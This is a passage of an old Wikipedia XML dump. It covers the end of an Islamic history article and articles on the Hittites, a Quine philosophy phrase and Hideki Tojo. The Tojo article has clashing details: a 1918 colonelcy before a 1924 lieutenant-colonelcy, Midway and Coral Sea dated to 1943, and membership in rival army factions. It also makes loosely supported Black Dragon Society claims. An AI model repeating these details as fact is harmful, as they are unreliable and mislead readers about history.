The centrality of petroleum, the [[Arab-Israeli Conflict]] and political and economic instability and uncertainty remain constant features of the politics of the region.

===Two Iranian revolutions===
While the events chronicled above were underway, the [[Shah of Iran]] was pressing (what he considered to be) the [[modernization]] of his country. For example, in the ''white revolution'' of [[1963]] he abolished the [[feudal system]] of [[Real property|land]] ownership, and in the process reduced the income of some of the [[Shia]] clergy. The Shah's critics at the time said he was trying to secure his hold on power. By [[1966]], he had become more aggressive in his own dealings with the oil companies. 

A decade later, the Shah decreed women's suffrage and eliminated the lunar (Islamic) calendar with the solar calendar for official use in [[1976]]. Both moves alienated Shia clerics. These were among the conditions for the Iranian revolution of [[1978]]-- [[1979]], which deposed the Shah and put [[Ayatollah Khomeini]] in power in Iran.

== Present day==
=== Reformist Islam vs. Islamism ===
&lt;!--To be written--&gt;
''See [[liberal movements within Islam]], [[Islamic fundamentalism]], [[Islam as a political movement]] and [[Islamism]].''

=== Islamism, the U.S. and the battle for oil wealth ===
&lt;!--To be written--&gt;
''See [[Islamist terrorism]], [[militant Islam]], and [[Jihad]]''

==Chronology==
{{see|Timeline of Islamic history}}

==Dynasties of Islamic Rulers==
* [[Abbadid]]
* [[Abbasid]]
* [[Aghlabid]]
* [[Almohad]]
* [[Almoravides]]
* [[Ayyubid dynasty]]
* [[Banu Isams]]
* [[Banu Salih]]
* [[Buwayhid]]
* [[Fatimid]]
* [[Ghaznavid Empire]]
* [[Hashemite]]
* [[House of Saud]] (Saudis)
* [[Khwarezmid Empire]]
* [[Mameluk dynasty]]
* [[Mughal Empire]]
* [[Ottoman Empire]]
* [[Pahlavi dynasty]]
* [[Rustamid]]
* [[Safavids]]
* [[Saffarid dynasty]]
* [[Samanid]]
* [[Seljuk Turks]]
* [[Sultanate of Malacca]]
* [[Sultanate of Rüm]]
* [[Tahirid dynasty]]
* [[Umayyad]]

==See also==
*[[Averroes]]
*[[Avicenna]]
*[[History of Europe]]
*[[History of the Balkans]]
*[[Islamic conquests]]
*[[Rise of Islam in Algeria]]
*[[Islamic Golden Age]]
*[[Islam by country]] - a list
*[[Timeline of Islamic history]]

==References and further reading==
* {{cite book | last = Lewis | first =  B. | title = The Arabs in History | publisher = Oxford University Press | year = 1993 | id = ISBN 0192852582 }}
* {{cite book | last = Rahman | first =  F. | title = Islam &amp; Modernity: Transformation of an Intellectual Tradition | publisher = University of Chicago Press | year = 1982 | id = ISBN 0226702847 }}

==External links==
* [http://www.fordham.edu/halsall/islam/islamsbook.html Internet Islamic History Sourcebook]
* [http://www.sunnah.org/history/islamamr.htm A history of Islam in America]
* [http://chinese-school.netfirms.com/Muslims.html History of Islam in China]
* [http://www.barkati.net/english/ Brief history of Islam]
* [http://www.barkati.net/english/chronology.htm Chronological history of Islam]

[[Category:Islamic history]]
[[Category:Jewish Islam topics]]

{{Link FA|zh}}

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[[ja:イスラム帝国]]
[[ms:Sejarah Islam]]
[[nl:Geschiedenis van de islam]]
[[pt:História do Islão]]
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[[zh:阿拉伯帝国]]</text>
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      <comment>/* Archaeological discovery */ less spin</comment>
      <text xml:space="preserve">[[Image:Hattusa.king.jpg|thumb|Relief of Suppiluliuma II, last known king of the Hittite Empire]]
'''“Hittites”''' is the conventional English-language term for an ancient people who spoke an [[Indo-European language]] and established a kingdom centered in [[Hattusa]] (Hittite ''Hattushash'') where today is the village of Boğazköy in north-central [[Turkey]], through most of the second millennium BC.

The Hittite kingdom, which at its height controlled central [[Anatolia]], north-western [[Syria]] down to [[Ugarit]], and Mesopotamia down to [[Babylon]], lasted from roughly 1680 BC to about 1180 BC. After 1180 BC, the Hittite polity disintegrated into several independent city-states, some of which survived as late as around 700 BC. 

The Hittite kingdom, or at least its core region, was apparently called '''Hatti''' in the reconstructed [[Hittite language]]. However, the Hittites should be distinguished from the &quot;[[Hattians]]&quot;, an earlier people who inhabited the same region until the beginning of the 2nd millennium BC, and spoke a non-Indo-European language conventionally called [[Hattic language|Hattic]].

'''Hittites''' or more recently, '''Hethites''' is also the common English name of a Biblical people (חתי or ''HTY'' in the consonant-only [[Hebrew language|Hebrew script]]), who are also called '''Children of Heth''' (בני-חת, ''BNY HT''). These people are mentioned several times in the [[Old Testament]], from the time of the [[Patriarchs (Bible)|Patriarch]]s up to [[Ezra]]'s return from [[Babylonian captivity of Judah|Babylonian captivity]]; see [[Hittites in the Bible]]. The archaeologists who discovered the Anatolian Hittites in the 19th century initially believed the two peoples to be the same, and many still do, but the identification is disputed.

The Hittites were also famous for their skill in building and using [[Chariot#Hittite|chariot]]s. Some consider the Hittites to be the first civilization to have discovered how to work [[iron]], and thus the first to enter the [[Iron Age]].
 
==Archaeological discovery==
[[Image:Hattusa.liongate.jpg|thumb|270px|Ruins of Hattusa (Lion Gate) at Boğazköy, [[Turkey]]]]
The first archaeological evidence for the Hittites appeared in tablets found at the [[Assyria]]n colony of  [[Kültepe]] (ancient [[Karum Kanesh]]), containing records of trade between Assyrian merchants and a certain &quot;land of ''[[Hatti]]''&quot;. Some names in the tablets were neither Hattic nor Assyrian, but clearly Indo-European.

The script on a monument at Boğazköy by a &quot;People of Hattusas&quot; discovered by [[William Wright]] in [[1884]] was found to match peculiar [[hieroglyphic]] scripts from [[Aleppo]] and [[Hamath]] in Northern Syria.  In [[1887]], excavations at Tell El-[[Amarna]] in Egypt uncovered the diplomatic correspondence of Pharaoh [[Amenhotep III]] and his son [[Akhenaton]]. Two of the letters from a &quot;kingdom of ''Kheta''&quot; -- apparently located in the same general region as the Mesopotamian references to &quot;land of ''Hatti''&quot; -- were written in standard [[Akkadian language|Akkadian]] [[cuneiform script]], but in an unknown language; although scholars could read it, no one could understand it.  Shortly after this, [[Archibald Sayce]] proposed that ''Hatti'' or ''Khatti'' in Anatolia was identical with the &quot;kingdom of ''Kheta''&quot; mentioned in these [[Egypt]]ian texts, as well as with the biblical Hittites. Sayce's identification came to be widely accepted over the course of the early 20th century; and the name &quot;Hittite&quot; has become attached to the civilization uncovered at Boğazköy.

During sporadic excavations at Boğazköy (Hattusa) that began in [[1905]], the archaeologist [[Hugo Winckler]] found a royal archive with 10,000 tablets, inscribed in cuneiform Akkadian and the same unknown language as the Egyptian letters from ''Kheta'' &amp;mdash; thus confirming the identity of the two names. He also proved that the ruins at Boğazköy were the remains of the capital of a mighty empire that at one point controlled northern Syria. 

The language of the Hattusa tablets was eventually deciphered by a [[Czech Republic|Czech]] linguist, [[Bedrich Hrozny|Bedřich Hrozný]] ([[1879]]&amp;ndash;[[1952]]), who on [[24 November]] [[1915]] announced his results in a lecture at the Near Eastern Society of Berlin. His book about his discovery was printed in [[Leipzig]] in [[1917]], with the title ''The Language of the Hittites; Its Structure and Its Membership in the Indo-European Linguistic Family''. The preface of the book begins with:

:''The present work undertakes to establish the nature and structure of the hitherto mysterious language of the Hittites, and to decipher this language [...] It will be shown that Hittite is in the main an Indo-European language.''

For this reason, the language came to be known as the [[Hittite language]], even though that was not what its speakers had called it. The Hittites themselves apparently called their language and people &quot;Neshili&quot; and hence it has been suggested that the more technically correct term, &quot;Neshite&quot;, be used instead. Nonetheless, convention continues and &quot;Hittite&quot; remains the standard term used.

Under the direction of the [[German Archaeological Institute]], excavations at Hattusa have been underway since [[1932]], with wartime interruptions. Kültepe has been successfully excavated by late Professor [[Tahsin Özgüç]] (died in 2005) since 1948.

==History==
{{History_of_Hittites_Series}}
{{Main|History of the Hittites}}

'''Conventional chronology:'''
*Old Hittite Kingdom ([[1750 BC|1750]] - [[1500 BC]]) Hattusa becomes the capital
*Middle Hittite Kingdom (1500 - [[1450 BC]]) 
*New Hittite Kingdom (Empire) (1450 - [[1180 BC]]): [[Suppiluliumas I]] conquers [[Syria]]; [[Muwatalli]] attacks Egyptians (Kadesh)

==The Biblical Hittites==
References to a people whose name is transcribed into English as &quot;Hittites&quot; (or sometimes &quot;Hettites&quot;) are found throughout the [[Hebrew Bible]]. These [[Hittites in the Bible|Biblical references to the Hittites]] are summarized below. It should be noted that the corpus of the Hebrew Bible was probably compiled in its near-final form between the 7th and 5th centuries BC, during or after the Babylonian exile, as related in the [[Book of Ezra]], with a further revision in the [[Masoretic]] text occurring some time between ca. 200 BC and 100 AD, as inferred from [[Higher criticism|textual analysis]] of the [[Septuagint]], [[Dead Sea Scrolls]], and other sources.

===The references===
The first reference to the Hittites is in [[Genesis]] 23:10, where [[Abraham]] bought the family burial cave at [[Machpelah]] from &quot;Ephron the Hittite&quot; (עפרון החתי, ''{{IPA|&amp;#661;}}FRVN HĦTY''). Later, in Genesis 26&amp;ndash;36, two of [[Esau]]'s wives are labeled as Hittites. In these accounts, the Hittites are mostly called &quot;The Children of Heth&quot; (בני-חת, ''BNY-HT'') and described as a branch of the [[Canaanites]], living in the [[Hebron]] area; indeed [[Heth]] (חת, ''HT'') is listed in Genesis 10 as a son of [[Canaan]], son of [[Ham, son of Noah|Ham]].  

Starting with the conquest of Canaan, the Hittites &amp;mdash; from now on always called חתי, ''HTY'' &amp;mdash; are listed on a par with the Canaanites, as one of the seven mighty peoples living in the region. Later they are cited among the four nations whom the Israelites were not able to destroy completely. Indeed, some centuries later, two of [[King David]]'s generals are labeled as Hittites: [[Ahimelech]] ([[Books of Samuel|1 Samuel]] 26:6) and [[Uriah]] ([[Books of Samuel|2 Samuel]] 11:3); David had the latter deliberately slain in battle for the sake of his wife [[Bathsheba]]. [[King Solomon]] also had Hittite wives ([[Books of Kings|1 Kings]] 11:7), and traded with (or received tribute from) the kings of the Hittites, of Syria, and of Egypt ([[Books of Chronicles|2 Chronicles]] 1:17). An episode in the time of [[Elisha]] ([[Books of Kings|2 Kings]] 7:6) mentions &quot;the kings of Hittites and the kings of the Egyptians&quot; as mighty powers. 

The Hittites are last mentioned by Ezra, on his return from [[Babylonian captivity]] (Ezra 9:1; around 450 BC, long after the demise of the Anatolian Hittite empire). They are one of the peoples with whom the local Hebrew leaders, who had remained in Palestine during the captivity, had intermarried.

===The traditional view===
Given the casual tone in which the Hittites are mentioned in most of these references, Biblical scholars before the age of [[archaeology]] traditionally regarded them as a smaller tribe, living in the hills of Canaan during the era of the Patriarchs. This picture was completely changed by the archaeological finds that placed the center of the Hatti/Hattusas civilization far to the north, in modern-day Turkey. 

Because of this perceived discrepancy and other reasons, some Biblical scholars reject Sayce's identification of the two people, and believe that the similarity in names is only a coincidence. In order to stress this distinction, [[E. A. Speiser]] called the Biblical Hittites ''Hethites'' in his translation of the Book of [[Genesis (Old Testament)|Genesis]] for the ''[[Anchor Bible Series]]''.

=== The mainstream view ===
On the other hand, the view that the Biblical Hittites are related to the Anatolian Hittites is popular. Apart from the coincidence in names, the latter were a powerful political entity in the region before the collapse of their empire in the 14th-12th centuries BC, so one would expect them to be mentioned in the Bible, just in the way that the ''HTY'' post-Exodus are. A stone [[lion]] relief found a [[Beth Shan]], near the [[Sea of Galilee]] (now at the [[Israel Museum]]), dated to about 1700 BC, has been interpreted as confirming this identification, since lions are often pictured in Hittite art. [http://www.knls.org/English/trascripts/humble03.htm]. Moreover, in the account of the conquest of Canaan, the Hittites are said to dwell &quot;in the mountains&quot; and &quot;towards the north&quot; of Canaan &amp;mdash; a description that matches the general direction and geography of the Anatolian Hittite empire, if not the distance. 

Modern linguistic academics therefore propose, based on much [[onomastic]] and archaeological evidence, that Anatolian populations moved south into Canaan as part of the waves of [[Sea Peoples]] who were migrating along the Mediterranean coastline at the time in question. Many kings of local city-states are shown to have had Hittite and [[Luwian]] names in the Late Bronze - Early Iron transition period. Indeed, even the name of Mount [[Zion]] may be Hittite in origin.

=== Other views===
Some people have conjectured that the Biblical Hittites could actually be [[Hurrians|Hurrian]] tribes living in Palestine, and that the [[Hebrew language|Hebrew]] word for the Hurrians (''HRY'' in consonant-only script) became the name of the Hittites (''HTY'') due to a scribal error. Others have proposed that the Biblical Hittites were a group of [[Kurushtameans]]. These hypotheses are not widely accepted, however.

It is also possible that the Biblical ''HTY'' refers to two distinct people at different times; e.g. a local tribe before Exodus, and the Anatolian empire after Exodus.

==See also==
* [[:Category:Hittite deities|Hittite pantheon]]
* [[Tahsin Özgüç]]

==Literature==

*[[Trevor Bryce]], &quot;Life and Society in the Hittite World,&quot; Oxford (2002).
*[[Trevor Bryce]], ''The Kingdom of the Hittites,'' Oxford (1999).
*[[C. W. Ceram]], ''The Secret of the Hittites: The Discovery of an Ancient Empire''. Phoenix Press (2001), ISBN 1842122959.
*[[Hans Gustav Güterbock]], ''Hittite Historiography: A Survey,'' in [[H. Tadmor]] and [[M. Weinfeld]] eds. ''History, Historiography and Interpretation: Studies in Biblical and Cuneiform Literatures'', Magnes Press, Hebrew University (1983) pp. 21-35. 
*[[J. G. Macqueen]], ''The Hittites, and Their Contemporaries in Asia Minor'', revised and enlarged, Thames and Hudson (1975, 1986).  (Series: Ancient Peoples and Places, Ed. G. Daniel.) 
*[[George E. Mendenhall]], ''The Tenth Generation: The Origins of the Biblical Tradition'', The Johns Hopkins University Press (1973), ISBN 0-8018-1654-8.
*[[Erich Neu]], ''Der Anitta Text'', ''(StBoT 18)'', Otto Harrassowitz, Wiesbaden (1974).
*[[Louis L. Orlin]], ''Assyrian Colonies in Cappadocia'', Mouton, The Hague (1970).
*''The Hittites and Hurrians'' in [[D. J. Wiseman]] ''Peoples of the Old Testament Times'', Clarendon Press, Oxford (1973).

== External links ==
*[http://www.visitturkeynow.com/cities/c_hattusas.htm Hattusas/Bogazköy] 
*[http://www.asor.org/HITTITE/HittiteHP.html The Hittite Home Page] 
*[http://pages.sbcglobal.net/zimriel/amc/arzawa.html Arzawa, to the west, throws light on Hittites]
* [http://www.pbase.com/dosseman/bogazkale Pictures of Boğazköy, one of a group of important sites]
* [http://www.pbase.com/dosseman/yazilikaya Pictures of Yazılıkaya, one of a group of important sites]
* [http://www.pbase.com/dosseman/alacahoyuk Pictures of Alacahöyük, one of a group of important sites]
*[http://titus.uni-frankfurt.de/didact/idg/anat/hethbs.htm Der Anitta Text (at TITUS)] 
*[http://ozhanozturk.com/content/view/29/50/ Encyclopaedia of Turkey : Hittite relief at Karabel]
*[http://news.independent.co.uk/people/obituaries/article330433.ece Tahsin Ozguc]

{{Link FA|pl}}

[[Category:Ancient peoples]]
[[Category:Hittite Empire]]
[[Category:Indo-European peoples]]
[[Category:Tanakh people]]
[[Category:Torah people]]

[[bg:Хети]]
[[bs:Hetiti]]
[[ca:Hitita]]
[[cs:Chetité]]
[[da:Hittitterne]]
[[de:Hethiter]]
[[es:Hititas]]
[[fr:Hittites]]
[[gl:Hitita]]
[[it:Ittiti]]
[[he:חתים (עם)]]
[[lt:Hetitai]]
[[nl:Hettieten]]
[[ja:ヒッタイト]]
[[pl:Hetyci]]
[[pt:Hititas]]
[[ru:Хетты]]
[[sk:Chetiti]]
[[sl:Hetiti]]
[[sv:Hettiter]]
[[tr:Hititler]]
[[zh:赫梯王国]]</text>
    </revision>
  </page>
  <page>
    <title>Hold more stubbornly at least</title>
    <id>13309</id>
    <revision>
      <id>15910924</id>
      <timestamp>2005-01-31T16:50:49Z</timestamp>
      <contributor>
        <ip>142.179.252.89</ip>
      </contributor>
      <comment>Attempted to make the sentence about no propositions more clear, as it stood, was filled with negations and very unclear, one could do even better still</comment>
      <text xml:space="preserve">'''Hold more stubbornly at least''' is a phrase popularized by the late Harvard [[philosophy]] professor, [[W. V. Quine]].

In [[W. V. Quine]]'s conception of a person's set of [[belief]]s as a &quot;seamless web&quot;, there is a lack of propositions which one could, in principle, not give up—if there were, there would be a &quot;seam&quot; in the web, protecting the principle from revision or rejection—or [[hold come what may]].  However, some beliefs may be more useful than others, or may be implied by a large number of beliefs.  Examples might be laws of [[logic]], or the belief in an external world of physical objects.  Altering such portions of the web would have immense, ramifying consequences.  It is better to alter auxiliary beliefs around the edges of the web in the face of new evidence unfriendly to one's central principles.  Thus, while one might agree that there is no belief one can hold come what may, there are some for which there is ample practical ground to hold more stubbornly at least.

{{philo-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Hideki Tojo</title>
    <id>13310</id>
    <revision>
      <id>41868996</id>
      <timestamp>2006-03-02T06:34:25Z</timestamp>
      <contributor>
        <username>HenryLi</username>
        <id>149793</id>
      </contributor>
      <minor />
      <comment>correct format</comment>
      <text xml:space="preserve">[[Image:Toj2o.jpg|thumb|right|250px|Hideki Tojo]]

'''Hideki Tojo''' ([[Wiktionary:Kyūjitai|Kyūjitai]]: 東條 英機; [[Wiktionary:Shinjitai|Shinjitai]]: 東条 英機; ''{{Audio|ja-tojo_hideki.ogg|Tōjō Hideki}}'') ([[December 30]] [[1884]] &amp;ndash; [[December 23]] [[1948]]) was a [[General]] in the [[Imperial Japanese Army]], an ultranationalist thinker, and the 40th [[Prime Minister of Japan]]; he served as prime minister during much of [[World War II]], from [[October 18]] [[1941]] to [[July 22]] [[1944]].

==Military and political life==

Tojo was born in [[Tokyo]], Japan in [[1884]]. He was the third son of Hidenori Tojo, a [[Lieutenant General]] in the Japanese Army.  Tojo's two older brothers died before his birth. In [[1909]] he married Katsuko Ito, with whom he had three sons and four daughters. 

In [[1905]] he graduated from the Military Academy and entered service as a [[Second Lieutenant]] in the [[infantry]].  He rose through the ranks of the Army, graduating with top grades from the Army college &lt;!-- need a better translation for rikugun-daigakkou...staff college? Army War College? --&gt;in 1915.  After graduation, he taught at the war college and served as an infantry officer.  He did occasional duty on the general staff. 

During the 1920s, Tojo was also member of the [[Tosei-Ha]] (Control Group) along with [[Kazushige Ugaki]], [[Gen Sugiyama]], [[Koiso Kuniaki]], [[Yoshijiro Umezu]], and [[Tetsuzan Nagata]].  They attempted to represent the more conservative [[moderates]] in opposition to the [[radical]] group [[Koda-Ha]] (Imperial Benevolent Rule or Action Group) led by [[Sadao Araki]].  Both factions derived from the [[Double Leaf Society]], a 1920s militaristic group with fanatical [[ultranationalism|ultranationalistic]] beliefs.

By [[1935]], he was a [[major general]] commanding the [[Kempeitai]] of the [[Kantogun]] (a.k.a. Kwantung Army) in the Japanese [[puppet state]] of [[Manchukuo]], and by 1937 he was [[Chief of Staff]] of that army.  In 1938, Tojo served as Vice-Minister of War.  From December of 1938 to 1940, Tojo was Inspector-General of Army Aviation.  He was also the real commander-in-chief in charge of the [[Japanese Secret Services]] before and during the Pacific War period, and was in direct contact with [[Koki Hirota]] and leading the secret services in the [[Black Dragon Society]] and other Japanese [[secret societies]].

During the [[2-26 Incident]], Tojo and [[General Honjo]], a noted supporter of [[Sadao Araki]], surprisingly acted against the rebels.  The [[Emperor]] acted with unusual force against the coup, and after a brief political crisis and stalling from the military, the rebels were forced to surrender. In the aftermath, many radical officers were retired and the coup leaders were tried and executed. 

During his period at the [[Home Ministry (Japan)|Home Ministry]], he lead the [[Keishicho (to 1945)|Keishicho]] (Tokyo Metropolitan Police Department).

He became the Commander of the 24th Infantry Brigade in August [[1934]]; the [[Commanding General]] of the [[Military Police]] in the Kantogun in September [[1935]]; [[Lieutenant General]] in December [[1936]]; [[Chief of Staff]] of the Kantogun in March [[1937]]; the Vice-Minister of War in May [[1938]] (during the first [[Konoye]] Cabinet); and the [[Inspector General]] of [[Army Aviation]] in December 1938.

In July 1937, he personally lead the units of the 1st Independent Mixed Brigade at the [[Chahar Battle]].  When the [[China Incident]] occurred, the section stationed in [[Manchukuo]] moved to [[Hopei]] and fought near [[Peking]] against Chinese forces. Then the Brigade was ordered to participate in the offensive in [[Chahar]] Province. The Brigade marched via [[Chengde]] and [[Dolonnor]] and reached [[Zhangbei]] in five days. The distance of this march was 700km. Units were assigned to certain infantry divisions. Seeing this use of armor, [[Commander Sakai]], the tank commader, opposed Tojo, who was the commander of the [[Chahar Expeditionary Force]]; another officer in same operation was [[Kitsuju Ayabe]]. (Later, he became the highest commander of all Japanese forces.)

In the late [[1930s]], Tojo became a member of the military clique, the [[Kodoha]], that pushed [[Japan]] into the Second World War. Appointed [[Ministry of War|War Minister]] in [[1940]], he was instrumental in leading Japan into the [[Axis Alliance]] with [[Germany]] and [[Italy]]. In July 1940, he was appointed [[War Minister]] in the second [[Fumimaro Konoye]] Cabinet, and remained in that post in the third Konoye Cabinet. When [[Prime Minister]] Konoye was unable to secure an agreement with the [[United States of America|United States]], Tojo's faction drove him into retirement. In [[1941]], Tojo was appointed [[prime minister]] by [[Emperor of Japan|Emperor]] [[Hirohito]] and took command of the entire Japanese military. He also took leadership in [[Imperial Way Faction]] at that time. At varying times during his premiership, Tojo held the [[portfolios]] of [[Minister for Foreign Affairs (Japan)|Foreign Affairs]], Education, [[interior ministry|Home Affairs]], Commerce and Industry, and Munitions. As education minister, he continued [[militaristic]] and [[nationalist]] indoctrination in the national education system, and reaffirmed [[right-wing]] policies in government, in accordance with outlines traced by [[Sadao Araki]], his ideological and political precursor.

In February 1944, Tojo assumed the post of Chief of the Army General Staff. However, following a series of military disasters, culminating in the [[fall of Saipan]], he was abandoned by his backers and forced to resign on [[July 18]], [[1944]]. He retired to the first reserve list and went into seclusion.

Tojo's nickname was &quot;the razor (''kamisori'')&quot;.

==Military Service==

2dLt (Infantry), April 1905; was graduated from [[War College]], December 1915; official duty, [[Switzerland]], August 1919; Major, August 1920; official duty, [[Germany]], July 1921; LtCol, August 1924; Colonel, August 1918; [[Regimental Commander]], 1st Infantry, August 1929; MajGen, March 1933; Commandant,&quot;Rikugun Shikan Gakko&quot; ([[Military Academy]]), March 1934; 

===Rise to office of Prime Minister===
In those days, the Japanese army was strongly pushing to begin the war because Germany was winning. Tojo was one of these advocates of war. However, Hirohito did not want to start the war and preferred to keep negotiating with the U.S. in order to find a way out of the conflict. However, the prevailing opinion within the Japanese Army at that time was that continued negotiations could be dangerous. In addition, the US cut off Japan's oil supply. Hirohito thought that he might be able to control extreme opinions in the army by using Tojo since he was charismatic and had many connections within the military. Actually, at that time, Tojo was said to be the only person who could control the army. Also, Tojo was a loyal retainer of the emperor as Hirohito said later. Therefore, Hirohito called Tojo to come to the Imperial Palace one day before Tojo's took office. Tojo wrote in his diary, &quot;I thought I was called because the emperor was really angry at my opinion.&quot; 

The signal for war in the Pacific was given on [[August 26]] [[1941]], at a session of the [[Black Dragon Society]] in Tokyo. At this meeting, War Minister Hideki Tojo ordered that preparation be made to wage a total war against the armed forces of the United States, and that Japanese guns be mounted and supplies and munitions concentrated in the Marshalls and Caroline groups of the mandated islands by November, 1941. Approving Tojo's war orders, former Foreign Minister Koki Hirota, head of the Black Dragons secret services, discussed the advantages and consequences of a conflict with the United States.  Many of those at the meeting considered December, 1941, or February, 1942, the most suitable time for Japan to attack.

During September 1941 the situation worsened with continued sanctions imposed against Japanese trade and became irreversibly worse in October when Lieutenant-General Hideki Tojo became Japanese Prime Minister with the support of the Nippon nations powerful military establishment.

After arrival, Tojo given one order from the emperor: that was to keep negotiating no matter what. The emperor of Showa said from Japanese record, &quot;keep negotiating even if the U.S requires Japan to retreat its soldiers from China to Manchuria.&quot; Tojo accepted this order, and pledged to obey it because he was respecting the emperor. With that,Tojo then became the Prime Minister.  

However, from the U.S. perspective, the new prime minister looked like as if Japan decided to begin the war because the person who strongly stated to begin the war became the prime minister. This misconception became one of the reasons to show the [[Hull Note]] to Japan.

Tojo did his best to keep negotiating. However, the results were not good for the Japanese side. Japan then made the final decision to begin the war after seeing the Hull Note. The night of [[December 7]] (The U.S was 6th), Tojo was said to have sat on a futon (Japanese bed)with his back straight and his knees together, sobbing. He might have regretted his act, or might have been apologizing to the emperor.

On [[5 November]] Prime Minister Tojo revealed to his inner circle of the offensive plans for a defensive war that he felt was increasingly certain to happen. The eventual plan drawn up by Army and Navy Chiefs of Staff envisaged such a mauling of the western powers that defence perimeter line established based on the abilities of Japanese tenaciousness, operating on interior lines for communications and western casualty counts, could not be breached.

In addition, the Japanese fleet which attacked the Pearl Harbor was ordered by admiral Isoroku Yamamoto that if the negotiation did not succeed immediately before the attack, the fleet must return to Japan without the air raid on Pearl Harbor.

Numerous theories about political forces at work during this process include conspiracy theories about a concerted effort within the military-industrial complex of Japan and the right wing to derail negotiations and forge ahead with plans for colonialism and war.

===General Tojo, diplomatic actions and politics===
This fallacy became apparent as the course of the war against Japan unfolded. Japan had come to believe that the wars in Europe had so weakened the imperialists that the Mikado could pick up an extended East Asian empire at will. The Japanese military hierarchy planned a line of defence based on islands stretching from Rabaul in the Bismarck Archipelago to the Kuriles north of Japan, intending to swallow and digest the insular possessions of France, Britain, Holland, Australia, the Portuguese, and of the United States, while finishing off the Chinese - concluding the decades-long conflict that began with the notorious &quot;[[Twenty-One Demands]]&quot;.

The &quot;Indies&quot; was the Crown Jewel to the Japanese. Without it, the embargoes placed against Japan would bankrupt her. Japan had 2 years supply of oil reserve for non-military use, one year if she went to war.

===The growth of Japanese military dominance of East Asia=== 

The aggressive Japan's major problem lay in that with great modern industrial expansion had turned into a major manufacturing nation and required sufficient raw materials that could be obtained over eastern Asia. Hence Japan's swift advance in securing these areas which brought on an immediate conflict with the western powers, who also had considerable political and economic interests in the Far East region. The Japanese move into French Indo-China and diplomatic discourse with Siam (Thailand) constituted a threat to the security of British Malay, the American Philippines, Dutch East Indies and  the southern lands of Australian and New Zealand.

On Sunday [[7 December]] the Imperial Japanese Navy hit the American military base at Pearl Harbour with an aerial onslaught. The elements of total war were clearly revealed by the surprise attack 
on Pearl Harbour. Itself in line with the practices of total warfare, was also in the Japanese military tradition, for they had begun other wars previously the same way.

On [[16 February]] [[1942]], the [[United Kingdom|British]] diplomats secretly proposed a 
peace deal with Japan. A possible agreement was that if Great 
Britain formally recognised the authority of [[imperial Japan]] over 
Northern [[China]] and [[Manchuria]], the Japanese would give Britain 
sovereignty over the [[Malay Peninsula]] and Singapore.

At the same time as this diplomatic movement, a political 
confrontation was in progress between the Toho kai party and the
[[Kodoha]] party. This was possibly the last internal political 
power struggle in the government before the [[Midway]] and [[Coral 
Sea]] defeats in 1943, which sent the Japanese [[military]] reeling.

The [[ultranationalist]] Toho kai party was led by [[Nakano Seigo]] 
who appeared to have some political influence at the time 
and expressed his outright support and confidence for 
[[Japanese Navy]]. He anxiously awaited the approval of the 
peace talks, so as to stabilize the recent conquests in 
[[Southeast Asia]]. Seigo also wanted to prevented any further
sacrifices by the Japanese people towards the war effort,
and pressured the government to halt the ambitious 
conquest of Asia.

On the other side was the largely pro-[[Imperialist]] faction,
which represented the [[military]] interests of Japan, was 
led by Tojo. He displayed a completely different perspective
over the issue. He reasoned that the successes in recent 
campaigns in [[Southeast Asia]] were extremely rapid, and 
continuation of the conquests could lead to gaining most
of Asia and Australia before the United States and the
Allies could react to further develop the so-called 
[[Greater East Asian Co-Prosperity Sphere]].

General Tojo rejected any form of peace processes in 
the conquered lands and gave authorization for more conquests.
This angered and frustrated the Toho Kai until Seigo finally
committed suicide on [[October 27]] [[1943]]. When Japan rejected 
such peace agreements, the imperial empire lost the opportunity 
to mantain their new territories in [[Southeast Asia]] in the long 
term Japan was unable to reinforce the defensive infantries, 
which allowed the [[United States]] to launch counter-offensives 
by 1943.

Elated by these early successes Admiral Yamamoto, the Chief of the Combined Fleet, convinced his superiors to expand further including the objectives of Midway, the Aleutians, and the Solomons, expanding the thin line of sea communications dangerously thinner. Individual Japanese  commanders of the new Rising Sun Empire of Asia would go off on wild hunts to enhance their name after easy conquests unrelated to any overall strategic plan and was categorised as &quot;victory disease&quot; by the Japanese people.

===Prime Minister Tojo and the Navy plan to invade Australia===

Prime Minister Tojo believed that there were no contingency plans considered for [[Yamamoto_Isoroku|Yamamoto]]'s Invasion Plan to [[Australia]].  General Tojo was concerned that the Japanese merchant and transport fleets were extended to its limit and the [[United States|Americans]] could readily divert their [[B-17]] Flying Fortresses to [[Sydney]] to destroy the invading forces.

Emperor [[Hirohito]] decided to postpone the Invasion Plan until [[Japanese forces]] had taken [[Burma]] and joined forces with the rebel [[Indian Nationalists]].  The outcomes of the Battles of the [[Coral_Sea|Coral Sea]] and Midway ensured the Invasion Plan for [[Australia]] was never revised.

General Tojo was an ardent supporter of the [[North Strike Group]] and declared his intention to realise operations from [[Manchukuo]] and nearby areas against the Russians in the [[Soviet Far East]], [[Outer Mongolia]] and [[Siberian]] lands, as well as against the [[Kwantung Army]].  He was a fanatical [[anticommunist]] since his time leading [[Kempeitai]] forces in [[Manchukuo]].

==Postwar legacy==
&lt;!-- Unsourced image removed: [[Image:Tojo-in-custody.jpg|frame|right|Tojo in custody]] --&gt;

After Japan surrendered in [[1945]] Tojo shot himself in the chest in a [[suicide]] attempt. He survived and was arrested a short time later. He recovered from his injuries at a hospital. 

He then was tried by the [[International Military Tribunal for the Far East]] for [[war crimes]]. He was '''found guilty of the following crimes:'''
*count 1 (waging wars of aggression, and war or wars in violation of international law)
*count 27 (waging unprovoked war against [[China]]) 
*count 29 (waging aggressive war against the [[United States]])
*count 31 (waging aggressive war against the [[Commonwealth of Nations|British Commonwealth]])
*count 32 (waging aggressive war against the [[Netherlands]] ([[Indonesia]]))
*count 33 (waging aggressive war against [[France]] ([[Indochina]])) 
*count 54 (ordering, authorizing, and permitting inhumane treatment of Prisoners of War ([[Prisoner of war|POW]]s) and others)

He was [[sentenced to death]] on [[November 12]], [[1948]] and executed by [[hanging]]. He is the only [[head of government]] to date to be executed for war crimes.

Because of the crimes committed under his authority, Tojo is often considered responsible for the murder of more than 10 million civilians in China, Korea, Philippines, Indochina, and in the other Pacific island nations, as well as the murder of tens of thousands of Allied POWs and for the approval of government-sanctioned biological [[human experimentation|experiments]] on POWs and Chinese civilians. There is some controversy over the extent of his responsibility, as he often claimed to be working on the orders of Emperor Hirohito, who was granted immunity from war crimes prosecution. As a result, some believe that Tojo and many other convicted war criminals ultimately became martyrs for the Emperor.

